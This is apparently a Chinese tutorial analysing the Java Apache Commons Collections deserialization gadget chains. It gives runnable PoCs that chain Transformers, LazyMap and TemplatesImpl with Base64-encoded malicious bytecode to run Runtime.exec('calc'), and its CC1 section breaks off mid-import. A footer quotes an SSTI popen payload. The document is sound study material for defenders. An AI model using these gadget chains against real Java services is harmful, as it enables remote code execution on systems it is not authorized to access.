CC链 1-7 分析

一、简介


Apache Commons 是对 JDK 的拓展,包含了很多开源的工具,用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。

CC链 编写的是测试代码,和 ysoserial 中的稍有不同。 下面的是经常用到的 非常重要 的Transformer 接口的实现类。

1.1 ConstantTransformer

Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是获取一个对象类型,关键代码如下:

public class ConstantTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;

    //构造函数
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    //重写的 transform 方法,获取一个对象类型
    public Object transform(Object input) {
        return this.iConstant;
    }

}

1.2 InvokerTransformer

Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用指定的方法并返回方法调用结果,关键代码如下:

public class InvokerTransformer implements Transformer, Serializable {
    static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    //构造函数
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    //重写的 transform 方法,反射调用指定的方法并返回方法调用结果
    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch …………
        }
    }
}

测试:

// 测试 InvokerTransformer
public class Test {
    public static void main(String[] args) {
        Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        transformer.transform(Runtime.getRuntime());
    }
}

###输出
弹出计算器

1.3 InstantiateTransformer

Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用构造函数将类实例化,关键代码如下:

public class InstantiateTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3786388740793356347L;
    public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    //构造函数
    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    //重写的 transform 方法,反射调用构造函数将类实例化。
    public Object transform(Object input) {
        Constructor con = ((Class)input).getConstructor(this.iParamTypes);
        return con.newInstance(this.iArgs);
    }

测试:

// Student 类
public class Student {
    public Student(String name) {
        System.out.println("学生姓名:" + name);
    }
}

// 测试 InstantiateTransformer
public class Test {
    public static void main(String[] args) {
        Transformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class}, new Object[]{"小明"});
        instantiateTransformer.transform(Student.class);
    }
}

###输出
学生姓名:小明

Process finished with exit code 0

1.4 ChainedTransformer

Transformer 接口的实现类,并重写了其接口类的 transformer 方法。其 transform 方法作用是实现数组链式调用。我们只需传入一个 Transformer[] 给 ChainedTransformer,然后执行 ChainedTransformer 的 transform 方法便可以链式调用 Transformer[] 中每个 Transformer 的 transform 方法。关键代码如下:

public class ChainedTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;

    //构造函数
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    //重写的 transform 方法,链式调用  Transformer[] 中每个 Transformer 的 transform 方法
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }
}

测试:(很重要 利用 ChainedTransformer 实现 Runtime.getRuntime().exec("calc") )

// 测试 ChainedTransformer
public class Test {
    public static void main(String[] args) {
        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform("test");
    }
}

###输出
弹出计算器

那么我们如何触发 ChainedTransformer 的 transform 方法呢?这就引出了 LazyMap 类。

1.5 LazyMap(重要)

其 get 方法中可以触发 ChainedTransformer 的 transform 方法。

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    private static final long serialVersionUID = 7990956402564206740L;
    protected final Transformer factory;

    //可控制 factory 为 ChainedTransformer
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

    //利用 get 方法可实现调用 ChainedTransformer#transform()
    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            //关键点
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }
}

测试:

// 测试 LazyMap
public class Test {
    public static void main(String[] args) {
        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap, chainedTransformer);
        lazyMap.get("test");
    }
}

###输出
弹出计算器

那么如何反序列化时触发 LazyMap 的 get 方法呢?下面 CC 链中将会介绍几种触发 LazyMap#get 的方法。

1.6 TemplatesImpl(重要)

这个类不在 Apache Commons Collections 中。但是 TemplatesImpl 这个类很特殊,我们可以借助其动态加载包含恶意的字节码,部分简化代码如下:

public final class TemplatesImpl implements Templates, Serializable {

    private String _name = null;
    private byte[][] _bytecodes = null;
    private transient TransformerFactoryImpl _tfactory = null;

    //关键方法:newTransformer()
    public synchronized Transformer newTransformer()
                throws TransformerConfigurationException
            {
                TransformerImpl transformer;
                // 关键点,调用 getTransletInstance()
                transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                    _indentNumber, _tfactory);
            }


    //继续跟进 getTransletInstance() 方法:
    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            //先判断是否为 null,如果为 null 的话去加载字节码,紧接着 newInstance() 对其实例化。
            if (_class == null) defineTransletClasses();

            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            …………
            }
    }

    //继续跟进 defineTransletClasses() 方法:
    private void defineTransletClasses()
        throws TransformerConfigurationException {
        …………
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });
        …………
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);  //关键点
                final Class superClass = _class[i].getSuperclass();
            }
        }

    //继续跟进 TransletClassLoader,这个类里重写了 defineClass 方法
    static final class TransletClassLoader extends ClassLoader {
        TransletClassLoader(ClassLoader parent) {
            super(parent);
        }

        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);   //关键点
        }
    }

}

恶意字节码的生成:
HelloTemplatesImpl.java,主要其必须继承 AbstractTranslet 类,

// HelloTemplatesImpl.java
public class HelloTemplatesImpl extends AbstractTranslet {

    public HelloTemplatesImpl() {
        super();
        try{
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

我们将其编译为 HelloTemplatesImpl.class,然后进行 Base64 编码,得到如下结果:

yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj

测试 TemplatesImpl:

// 测试 TemplatesImpl
public class Test {

    //反射设置 Field
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws TransformerConfigurationException {
        //恶意字节码
        byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

        //反射设置 Field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        templates.newTransformer();
    }
}

###输出结果
弹出计算器

所以我们只需传入恶意字节码给 TemplatesImpl,然后调用其 newTransformer 方法。那么有没有类可以调用 TemplatesImpl.newTransformer(),这里先介绍一个构造 CC3 中将会用到的类 TrAXFilter,下面是其构造函数:

public class TrAXFilter extends XMLFilterImpl {

    //构造函数
    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();    //关键点
        …………
    }
}

测试 TrAXFilter:

// 测试 TrAXFilter
public class Test {

    //反射设置 Field
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws TransformerConfigurationException {
        //字节码
        byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

        //反射设置 Field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        Transformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

###输出
弹出计算器

二、CC1


通过 AnnotationInvocationHandler 类触发 LazyMap 的 get 方法。
简化版 AnnotationInvocationHandler 类的代码:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    //构造函数,可传入 LazyMap
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }

    //利用 invoke 方法可实现调用 LazyMap#get
    public Object invoke(Object var1, Method var2, Object[] var3) {
        Object var6 = this.memberValues.get(var4);
    }
}

AnnotationInvocationHandler 类 readObject 方法代码:关键点在 this.memberValues.entrySet() ,这里我们可以为 memberValues 传入一个代理对象。通过 java 的动态代理机制,使其最终触发 AnnotationInvocationHandler 类的 invoke 方法,从而实现触发 LazyMap.get()。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

测试环境:3.1-3.2.1 jdk版本小于u71

package Apache_Common_Collections.cc_1_7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import 

本文来源于: https://xz.aliyun.com/t/9409

相关推荐

网络空间搜索引擎的区别

网络空间搜索引擎的区别 ### fofa fofa是白帽汇推出的网络空间测绘引擎。白帽汇是一家专注于网络空间测绘与前沿技术研究的互联网安全公司,主要从事网络安全产品开发与服务支撑等相关工作,为国家监管部门及政企用户提供综合性整体解决方案,有

D-Link路由器漏洞研究分享

0x0 前言 D-Link DIR-816 A2是中国台湾友讯(D-Link)公司的一款无线路由器。攻击者可借助‘datetime’参数中的shell元字符利用该漏洞在系统上执行任意命令。 0x1 准备 固件版本 1.10B05:http:

主流WebShell工具流量层分析

很多人都说冰蝎好用,流量加密的,可是流量加密在哪里,很多人可能还是懵懵懂懂的,于是就分析记录了一下,大佬勿喷。 AntSword流量分析 蚁剑有一个非常好用的扩展功能为编码器和解码器,利用此功能可以自定义加密,这里分析的是默认的加密方式,在

CVE-2019-12422 Apache Shiro RememberMe Padding Oracle

前置知识 CBC模式 首先我们可以看一下CBC模式的流程图 初始化向量IV和第一组明文XOR后得到的结果作为新的IV和下一组明文XOR,按这样循环下去就得到结果。解密是加密的逆过程,也就是密文被Key解密为中间值,然后中间值与IV进行XOR

Nginx_lua 100参数绕过原理详解

一、环境搭建 Nginx_lua 安装 https://github.com/openresty/lua-nginx-module#installation wget 'https://openresty.org/download/ngin

记一次 getshell 过程

前言 兜兜转转最终拿到了 shell ,但是发现大佬已经在前一个小时 getshell 了,记录一下我是怎么发现的过程。 未授权测试是违法的,仅供学习交流。 过程 打开网站查看源代码,发现成功登录后会跳转到 f0.html 文件 没登录直接

GitHub SSTI靶场 wp

本人小白,师傅们勿喷 payload主要有两种形式: 一种是获取os来执行命令 {{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('

ThinkPHP 6 反序列化漏洞

ThinkPHP6 反序列化漏洞 环境W tp6.0 apache php7.3 漏洞分析 反序列化漏洞需要存在 unserialize() 作为触发条件,修改入口文件 app/controller/Index.php 注意tp6的url访

记一次详细的代码审计

前言 本篇是对极致CMSv1.7漏洞的一些新的发现,先从MVC开始到漏洞的发掘利用 MVC篇 首先,先打开index.php <?php // +-----------------------------------------------

Yii2反序列化RCE 新POP链

Yii反序列化漏洞 0x搭建环境 首先利用composer安装yii2框架 composer create-project yiisoft/yii2-app-basic yii2 yii2 version <= 2.0.41(GitHub最

Typecho反序列化漏洞分析

Typcho反序列化漏洞分析 影响范围: 2017年10月24日之前的所有版本 环境搭建: 下载地址:http://typecho.org/,这里主要是说下,在intall之前,需要我们手动去数据库添加Typecho数据库 我之前去官网下载